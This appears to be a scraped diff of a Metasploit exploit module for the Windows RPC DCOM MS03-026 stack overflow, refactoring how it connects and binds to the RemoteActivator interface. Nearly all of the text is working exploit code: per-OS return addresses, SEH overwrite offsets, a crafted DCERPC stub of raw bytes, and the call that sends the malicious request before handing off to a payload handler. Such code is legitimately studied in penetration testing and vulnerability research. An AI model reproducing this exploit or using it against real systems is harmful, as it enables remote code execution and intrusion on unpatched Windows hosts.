# Convert a string or number in float format to two unique numbers 2.0 => [2, 0]
|
# Convert a string or number in float format to two unique numbers 2.0 => [2, 0]
|
||||||
def vers_to_nums (vers)
|
def self.vers_to_nums (vers)
|
||||||
vers_maj = vers.to_i
|
vers_maj = vers.to_i
|
||||||
vers_min = ((vers.to_f - vers.to_i) * 10).to_i
|
vers_min = ((vers.to_f - vers.to_i) * 10).to_i
|
||||||
return vers_maj, vers_min
|
return vers_maj, vers_min
|
||||||
|
|
|
@ -12,11 +12,12 @@ class Exploits::Windows::MSRPC_DCOM_MS03_026 < Msf::Exploit::Remote
|
||||||
def initialize(info = {})
|
def initialize(info = {})
|
||||||
super(update_info(info,
|
super(update_info(info,
|
||||||
'Name' => 'Microsoft RPC DCOM MSO3-026',
|
'Name' => 'Microsoft RPC DCOM MSO3-026',
|
||||||
'Description' =>
|
'Description' => %q{
|
||||||
"This module exploits a stack overflow in the RPCSS service, this vulnerability" +
|
This module exploits a stack overflow in the RPCSS service, this vulnerability
|
||||||
"was originally found by the Last Stage of Delirium research group and has been" +
|
was originally found by the Last Stage of Delirium research group and has bee
|
||||||
"widely exploited ever since. This module can exploit the English versions of " +
|
widely exploited ever since. This module can exploit the English versions of
|
||||||
"Windows NT 4.0 SP3-6a, Windows 2000, Windows XP, and Windows 2003 all in one request :)",
|
Windows NT 4.0 SP3-6a, Windows 2000, Windows XP, and Windows 2003 all in one request :)
|
||||||
|
},
|
||||||
'Author' => [ 'hdm', 'spoonm' ],
|
'Author' => [ 'hdm', 'spoonm' ],
|
||||||
'Version' => '$Revision$',
|
'Version' => '$Revision$',
|
||||||
'References' =>
|
'References' =>
|
||||||
|
@ -59,9 +60,11 @@ class Exploits::Windows::MSRPC_DCOM_MS03_026 < Msf::Exploit::Remote
|
||||||
end
|
end
|
||||||
|
|
||||||
def exploit
|
def exploit
|
||||||
print_status("Connecting to the target system...")
|
|
||||||
connect
|
|
||||||
|
|
||||||
|
|
||||||
|
#
|
||||||
|
# Create the gigantic stub used to exploit 7 targets at the same time
|
||||||
|
#
|
||||||
print_status("Building the malicious DCERPC request...")
|
print_status("Building the malicious DCERPC request...")
|
||||||
|
|
||||||
# Carefully create the combination of addresses and code for cross-os exploitation
|
# Carefully create the combination of addresses and code for cross-os exploitation
|
||||||
|
@ -88,7 +91,6 @@ class Exploits::Windows::MSRPC_DCOM_MS03_026 < Msf::Exploit::Remote
|
||||||
xpseh[ 310, 4 ] = [ target['Rets'][3] ].pack('V')
|
xpseh[ 310, 4 ] = [ target['Rets'][3] ].pack('V')
|
||||||
xpseh[ 314, jmpsc.length ] = jmpsc
|
xpseh[ 314, jmpsc.length ] = jmpsc
|
||||||
|
|
||||||
|
|
||||||
#
|
#
|
||||||
# NT 4.0 SP3/SP4 work the same, just use a pop/pop/ret that works on both
|
# NT 4.0 SP3/SP4 work the same, just use a pop/pop/ret that works on both
|
||||||
# NT 4.0 SP5 is a jmp eax to avoid a conflict with SP3/SP4
|
# NT 4.0 SP5 is a jmp eax to avoid a conflict with SP3/SP4
|
||||||
|
@ -152,38 +154,30 @@ class Exploits::Windows::MSRPC_DCOM_MS03_026 < Msf::Exploit::Remote
|
||||||
"\xc0\x00\x00\x00\x00\x00\x00\x46\x01\x00\x00\x00\x01\x00\x00\x00" +
|
"\xc0\x00\x00\x00\x00\x00\x00\x46\x01\x00\x00\x00\x01\x00\x00\x00" +
|
||||||
"\x07\x00"
|
"\x07\x00"
|
||||||
|
|
||||||
|
|
||||||
# Pad, calculate, set number of wide chars in path
|
# Pad, calculate, set number of wide chars in path
|
||||||
pathsz = (((uncpath.length + 11) & ~7) / 2)
|
pathsz = (((uncpath.length + 11) & ~7) / 2)
|
||||||
stubdata[ 52, 4 ] = [ pathsz ].pack('V')
|
stubdata[ 52, 4 ] = [ pathsz ].pack('V')
|
||||||
stubdata[ 60, 4 ] = [ pathsz ].pack('V')
|
stubdata[ 60, 4 ] = [ pathsz ].pack('V')
|
||||||
|
|
||||||
d = Rex::Proto::DCERPC::Client.new()
|
|
||||||
u = Rex::Proto::DCERPC::UUID.new()
|
|
||||||
|
|
||||||
uuid = u.uuid_by_name('REMACT')
|
#
|
||||||
vers = u.vers_by_name('REMACT')
|
# Connect to the remote MSRPC service
|
||||||
|
#
|
||||||
print_status("Attempting to bind to the RemoteActivator interface...")
|
print_status("Connecting to the target system...")
|
||||||
bind_pkt, ctx = d.make_bind_fake_multi(uuid, vers, 10, 4)
|
connect
|
||||||
|
|
||||||
sock.put(bind_pkt)
|
|
||||||
resp = d.read_response(sock)
|
|
||||||
|
|
||||||
if (resp.ack_result[ctx] != 0)
|
|
||||||
print_status("DCERPC bind to the RemoteActivator interface failed")
|
|
||||||
return
|
|
||||||
end
|
|
||||||
|
|
||||||
print_status("Successful bind to the RemoteActivator interface")
|
|
||||||
|
|
||||||
print_status("Sending the malicious DCERPC request...")
|
|
||||||
d.make_request(0, stubdata, 256, ctx).each do |chunk|
|
|
||||||
sock.put(chunk)
|
|
||||||
end
|
|
||||||
|
|
||||||
|
#
|
||||||
|
# Bind to the UUID and call the vulnerable function
|
||||||
|
#
|
||||||
|
res = self.dcerpc_bind('REMACT')
|
||||||
|
return if res == nil
|
||||||
|
self.dcerpc_call(0, stubdata)
|
||||||
|
|
||||||
|
#
|
||||||
|
# Perform any required client-side payload handling
|
||||||
|
#
|
||||||
handler
|
handler
|
||||||
|
|
||||||
end
|
end
|
||||||
|
|
||||||
end
|
end
|
||||||
|
|
Loading…
Reference in New Issue